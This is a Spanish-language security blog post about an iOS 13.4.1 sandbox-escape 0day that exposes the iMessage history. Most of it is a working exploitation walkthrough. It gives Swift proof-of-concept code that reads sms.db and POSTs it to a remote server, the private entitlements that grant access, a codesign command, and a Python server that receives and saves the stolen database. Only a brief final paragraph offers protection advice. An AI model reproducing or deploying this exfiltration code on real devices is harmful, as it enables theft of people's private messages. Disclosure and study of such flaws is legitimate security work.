Icono cerrar menu

Blog

1 de mayo de 2020

Warning⚠ : Vulnerabilidad en iOS permite el robo de mensajes


El pionero de la seguridad y autor del Jailbreak Siguza nos sigue sorprendiendo con sus grandes descubrimientos en el mundo de la seguridad en IOS, y el día de hoy nos ha traído una nueva versión 13.4.1 de IOS que permite realizar un robo de el historial de iMessage.

Siguza expuso la vulnerabilidad en twitter:

Siguza menciona que este 0day fue parchado en la versión de iOS 13.5 beta3.En este pos les demostraremos como aprovechando un bug mediante programar una aplicación se podrá tener acceso a este 0day y robar los mensajes de iMessage.

Plan de ataque

Crear una aplicación que cargue la base de datos “sms.db” y mande a nuestro servidor.
Firmar la aplicación con el código malicioso.
Instalar la aplicación en el dispositivo.
Encender el servidor.
Acceder a la base de datos.

Explotación

Creamos una aplicación simple en swift escrita por Wojciech Reguła

import SwiftUI

struct ContentView: View {
    
    @State var serverURLString: String = ""
    
    var body: some View {
        
        VStack() {
            Text("""
                iMessage DB stealing PoC\n
                based on @s1guza's tweet\n
                coded by @_r3ggi
                """).multilineTextAlignment(.center)
        
            TextField("Server URL", text: $serverURLString).padding(.all, 40).textFieldStyle(RoundedBorderTextFieldStyle())
            
            Button(action: {
                sendPostData(serverURLString: self.serverURLString)
            }) {
                Text("Send your sms.db!")
            }
        }
    }
}


func sendPostData(serverURLString: String) {
    let messagesPath = "/private/var/mobile/Library/SMS/sms.db"
    let messagesURL = URL(fileURLWithPath: messagesPath)
    let serverURL = URL(string: serverURLString)
    var request = URLRequest(url: serverURL!)
    request.httpMethod = "POST"
    
    do {
        if FileManager.init().isReadableFile(atPath: messagesPath) {
            let rawMessagesDB = try Data(contentsOf: messagesURL)
            request.httpBody = rawMessagesDB
        } else {
            request.httpBody = "Nope".data(using: .utf8)
        }
    } catch {}
    
    let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
            if let error = error {
                print("Error took place \(error)")
                return
            }
    }
    task.resume()
}

Después de compilar la aplicación creamos el siguiente archivo de permisos:





    application-identifier
    [redacted].blog.wojciechregula.SandboxEscape

platform-application

com.apple.private.security.no-container

com.apple.private.security.storage.Messages




Firmamos la apliación

codesign -d --entitlements entitlements.xml SandboxEscape.app -f -s "Apple Development: wojciechregula.blog [redacted]"

Teniendo la aplicación firmada procedemos a subirla al dispositivo

Ya instalada la aplicación inicializamos un servidor python para recibir la base de datos.

from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Hello, world!')

    def do_POST(self):
        print("RECEIVING!!!")
        content_length = int(self.headers['Content-Length'])
        body = self.rfile.read(content_length)
        with open("./sms.db", "wb") as f:
            f.write(body)


httpd = HTTPServer(('192.168.0.14', 8888), SimpleHTTPRequestHandler)
httpd.serve_forever()

Con el server inicializado abrimos la aplicación

Una vez abierta la aplicación se guardara la base de datos en el servidor y verificamos el contenido de la base de datos con un gestor de SqlLite

¿Comó podemos estar a salvo?

Hasta el momento la única forma para mantener a salvo la integridad de  tu iphone con ios 13.4.1 es no instalar aplicaciones sospechosas y esperar a la siguiente actualización de ios 13.5.

Referencias:

Recuperado de Stealing your 0SMS messages whit ios 0day, Wojciech Reguła,Abril 30, 2020

tpx Security.
Editorial Staff.